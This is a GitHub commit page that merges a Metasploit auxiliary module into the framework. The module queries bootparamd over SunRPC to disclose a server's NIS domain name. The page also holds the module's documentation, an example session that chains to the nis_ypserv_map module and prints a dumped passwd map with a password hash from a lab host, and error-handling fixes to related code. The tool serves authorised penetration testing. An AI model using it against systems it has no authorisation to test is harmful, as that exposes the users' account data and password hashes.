Skip to content

Commit e5bd36d

Browse files
committed
Land rapid7#9402, NIS bootparamd domain name disclosure
2 parents eb8429c + 736d438 commit e5bd36d

File tree

4 files changed

+274
-17
lines changed

4 files changed

+274
-17
lines changed
Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
## Intro
2+
3+
From the `bootparamd(8)` man page:
4+
5+
> bootparamd is a server process that provides information to diskless clients necessary for booting. It consults the /etc/bootparams file to find the information it needs.
6+
7+
The module documented within will allow a tester to disclose the NIS
8+
domain name from a server running `bootparamd`. After knowing the domain
9+
name, the tester can follow up with `auxiliary/gather/nis_ypserv_map` to
10+
dump a map from a compatible NIS server (running as `ypserv`).
11+
12+
## Setup
13+
14+
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
15+
If the link is down, you can find it via the Wayback Machine.
16+
17+
After that is done, install `bootparamd` however your OS provides it.
18+
19+
Make sure you add a client to the `bootparams` file, which is usually at
20+
`/etc/bootparams`.
21+
22+
Here is an example `bootparams` file (courtesy of
23+
[@bcoles](https://github.com/bcoles)):
24+
25+
```
26+
clientname root=nfsserver:/export/clientname/root
27+
```
28+
29+
You can read the `bootparams(5)` man page for more info.
30+
31+
Lastly, the client should be added to `/etc/hosts` if it isn't already
32+
resolvable.
33+
34+
## Options
35+
36+
**PROTOCOL**
37+
38+
Set this to either TCP or UDP. UDP is the default due to `bootparamd`.
39+
40+
**CLIENT**
41+
42+
Set this to the address of a client in the target's `bootparams` file.
43+
Usually this is a host within the same network range as the target.
44+
45+
**XDRTimeout**
46+
47+
Set this to the timeout in seconds for XDR decoding of the response.
48+
49+
## Usage
50+
51+
```
52+
msf > use auxiliary/gather/nis_bootparamd_domain
53+
msf auxiliary(gather/nis_bootparamd_domain) > set rhost 192.168.33.10
54+
rhost => 192.168.33.10
55+
msf auxiliary(gather/nis_bootparamd_domain) > set client 192.168.33.10
56+
client => 192.168.33.10
57+
msf auxiliary(gather/nis_bootparamd_domain) > run
58+
59+
[+] 192.168.33.10:111 - NIS domain name for host ubuntu-xenial (192.168.33.10) is gesellschaft
60+
[*] Auxiliary module execution completed
61+
msf auxiliary(gather/nis_bootparamd_domain) >
62+
```
63+
64+
After disclosing the domain name, you can use
65+
`auxiliary/gather/nis_ypserv_map` to dump a map from a compatible NIS
66+
server.
67+
68+
```
69+
msf auxiliary(gather/nis_bootparamd_domain) > use auxiliary/gather/nis_ypserv_map
70+
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.33.10
71+
rhost => 192.168.33.10
72+
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
73+
domain => gesellschaft
74+
msf auxiliary(gather/nis_ypserv_map) > run
75+
76+
[+] 192.168.33.10:111 - Dumping map passwd.byname on domain gesellschaft:
77+
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
78+
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
79+
games:*:5:60:games:/usr/games:/usr/sbin/nologin
80+
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
81+
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
82+
sys:*:3:3:sys:/dev:/usr/sbin/nologin
83+
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
84+
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
85+
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
86+
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
87+
bin:*:2:2:bin:/bin:/usr/sbin/nologin
88+
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
89+
sync:*:4:65534:sync:/bin:/bin/sync
90+
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
91+
uuidd:*:108:112::/run/uuidd:/bin/false
92+
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
93+
root:*:0:0:root:/root:/bin/bash
94+
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
95+
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
96+
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
97+
messagebus:*:107:111::/var/run/dbus:/bin/false
98+
_apt:*:105:65534::/nonexistent:/bin/false
99+
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
100+
syslog:*:104:108::/home/syslog:/bin/false
101+
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
102+
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
103+
pollinate:*:111:1::/var/cache/pollinate:/bin/false
104+
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
105+
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
106+
lxd:*:106:65534::/var/lib/lxd/:/bin/false
107+
108+
[*] Auxiliary module execution completed
109+
msf auxiliary(gather/nis_ypserv_map) >
110+
```

lib/rex/proto/sunrpc/client.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -179,7 +179,8 @@ def recv_rpc(sock, maxwait=self.timeout)
179179
buf = nil
180180
begin
181181
Timeout.timeout(maxwait) { buf = sock.get }
182-
rescue ::Timeout
182+
rescue Timeout::Error
183+
raise RPCTimeout
183184
end
184185

185186
return nil if not buf
Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
include Msf::Exploit::Remote::SunRPC
9+
include Msf::Auxiliary::Report
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'NIS bootparamd Domain Name Disclosure',
14+
'Description' => %q{
15+
This module discloses the NIS domain name from bootparamd.
16+
17+
You must know a client address from the target's bootparams file.
18+
19+
Hint: try hosts within the same network range as the target.
20+
},
21+
'Author' => [
22+
'SATAN', # boot.c
23+
'pentestmonkey', # Blog post
24+
'wvu' # Metasploit module
25+
],
26+
'References' => [
27+
['URL', 'https://tools.ietf.org/html/rfc1831'],
28+
['URL', 'https://tools.ietf.org/html/rfc4506'],
29+
['URL', 'http://pentestmonkey.net/blog/nis-domain-name']
30+
],
31+
'License' => MSF_LICENSE
32+
))
33+
34+
register_options([
35+
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'udp', %w{tcp udp}]),
36+
OptAddress.new('CLIENT', [true, "Client from target's bootparams file"])
37+
])
38+
39+
register_advanced_options([
40+
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
41+
])
42+
end
43+
44+
def run
45+
proto = datastore['PROTOCOL']
46+
client = datastore['CLIENT']
47+
48+
begin
49+
sunrpc_create(
50+
proto, # Protocol: UDP (17)
51+
100026, # Program: BOOTPARAMS (100026)
52+
1 # Program Version: 1
53+
)
54+
rescue Rex::ConnectionError
55+
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
56+
rescue Rex::Proto::SunRPC::RPCError
57+
fail_with(Failure::Unreachable, 'Could not connect to bootparamd')
58+
end
59+
60+
# Flavor: AUTH_NULL (0)
61+
sunrpc_authnull
62+
63+
# Convert ASCII to network byte order to four unsigned chars :(
64+
client_addr = Rex::Socket.addr_aton(client).unpack('C4')
65+
66+
bootparam_whoami = Rex::Encoder::XDR.encode(
67+
1, # Address Type: IPv4-ADDR (1)
68+
*client_addr # Client Address: [redacted]
69+
)
70+
71+
begin
72+
res = sunrpc_call(
73+
1, # Procedure: WHOAMI (1)
74+
bootparam_whoami # Boot Parameters
75+
)
76+
rescue Rex::Proto::SunRPC::RPCError
77+
fail_with(Failure::NotFound, 'Could not call bootparamd procedure')
78+
rescue Rex::Proto::SunRPC::RPCTimeout
79+
fail_with(Failure::NotVulnerable,
80+
'Could not disclose NIS domain name (try another CLIENT?)')
81+
ensure
82+
# Shut it down! Shut it down forever!
83+
sunrpc_destroy
84+
end
85+
86+
unless res
87+
fail_with(Failure::Unknown, 'No response from server')
88+
end
89+
90+
bootparams = begin
91+
Timeout.timeout(datastore['XDRTimeout']) do
92+
parse_bootparams(res)
93+
end
94+
rescue Timeout::Error
95+
fail_with(Failure::TimeoutExpired,
96+
'XDR decoding timed out (try increasing XDRTimeout?)')
97+
end
98+
99+
if bootparams.blank?
100+
fail_with(Failure::Unknown, 'Could not parse bootparams')
101+
end
102+
103+
bootparams.each do |host, domain|
104+
msg = "NIS domain name for host #{host} (#{client}) is #{domain}"
105+
106+
print_good(msg)
107+
108+
report_note(
109+
host: rhost,
110+
port: rport,
111+
proto: proto,
112+
type: 'nis.bootparamd.domain',
113+
data: msg
114+
)
115+
end
116+
end
117+
118+
def parse_bootparams(res)
119+
bootparams = {}
120+
121+
loop do
122+
begin
123+
# XXX: res is modified in place
124+
host, domain, _, _, _, _, _ = Rex::Encoder::XDR.decode!(
125+
res,
126+
String, # Client Host: [redacted]
127+
String, # Client Domain: [redacted]
128+
Integer, # Address Type: IPv4-ADDR (1)
129+
# One int per octet in an IPv4 address
130+
Integer, # Router Address: [redacted]
131+
Integer, # Router Address: [redacted]
132+
Integer, # Router Address: [redacted]
133+
Integer # Router Address: [redacted]
134+
)
135+
136+
break unless host && domain
137+
138+
bootparams[host] = domain
139+
rescue Rex::ArgumentError
140+
vprint_status("Finished XDR decoding at #{res.inspect}")
141+
break
142+
end
143+
end
144+
145+
bootparams
146+
end
147+
148+
end

modules/auxiliary/gather/nis_ypserv_map.rb

Lines changed: 14 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -58,11 +58,9 @@ def run
5858
2 # Program Version: 2
5959
)
6060
rescue Rex::ConnectionError
61-
print_error('Could not connect to portmapper')
62-
return
61+
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
6362
rescue Rex::Proto::SunRPC::RPCError
64-
print_error('Could not connect to ypserv')
65-
return
63+
fail_with(Failure::Unreachable, 'Could not connect to ypserv')
6664
end
6765

6866
# Flavor: AUTH_NULL (0)
@@ -80,41 +78,39 @@ def run
8078
ypserv_all_call # Yellow Pages Service ALL call
8179
)
8280
rescue Rex::Proto::SunRPC::RPCError
83-
print_error('Could not call ypserv procedure')
84-
return
81+
fail_with(Failure::NotFound, 'Could not call ypserv procedure')
8582
ensure
8683
# Shut it down! Shut it down forever!
8784
sunrpc_destroy
8885
end
8986

90-
if res.nil? || res.length < 8
91-
print_error('Invalid response from server')
87+
unless res && res.length > 8
88+
fail_with(Failure::UnexpectedReply, 'Invalid response from server')
9289
return
9390
end
9491

9592
# XXX: Rex::Encoder::XDR doesn't do signed ints
9693
case res[4, 4].unpack('l>').first
9794
# Status: YP_NOMAP (-1)
9895
when -1
99-
print_error("Invalid map #{map_name} specified")
100-
return
96+
fail_with(Failure::BadConfig, "Invalid map #{map_name} specified")
10197
# Status: YP_NODOM (-2)
10298
when -2
103-
print_error("Invalid domain #{domain} specified")
104-
return
99+
fail_with(Failure::BadConfig, "Invalid domain #{domain} specified")
105100
end
106101

107102
map = begin
108103
Timeout.timeout(datastore['XDRTimeout']) do
109104
parse_map(res)
110105
end
111106
rescue Timeout::Error
112-
print_error('XDR decoding timed out (try increasing XDRTimeout?)')
107+
fail_with(Failure::TimeoutExpired,
108+
'XDR decoding timed out (try increasing XDRTimeout?)')
113109
return
114110
end
115111

116-
if map.nil? || map.empty?
117-
print_error("Could not parse map #{map_name}")
112+
if map.blank?
113+
fail_with(Failure::Unknown, "Could not parse map #{map_name}")
118114
return
119115
end
120116

@@ -140,7 +136,9 @@ def parse_map(res)
140136
String # Key: [redacted]
141137
)
142138

143-
status == 1 ? map[key] = value : break
139+
break unless status == 1 && key && value
140+
141+
map[key] = value
144142
rescue Rex::ArgumentError
145143
vprint_status("Finished XDR decoding at #{res.inspect}")
146144
break

0 commit comments

Comments
 (0)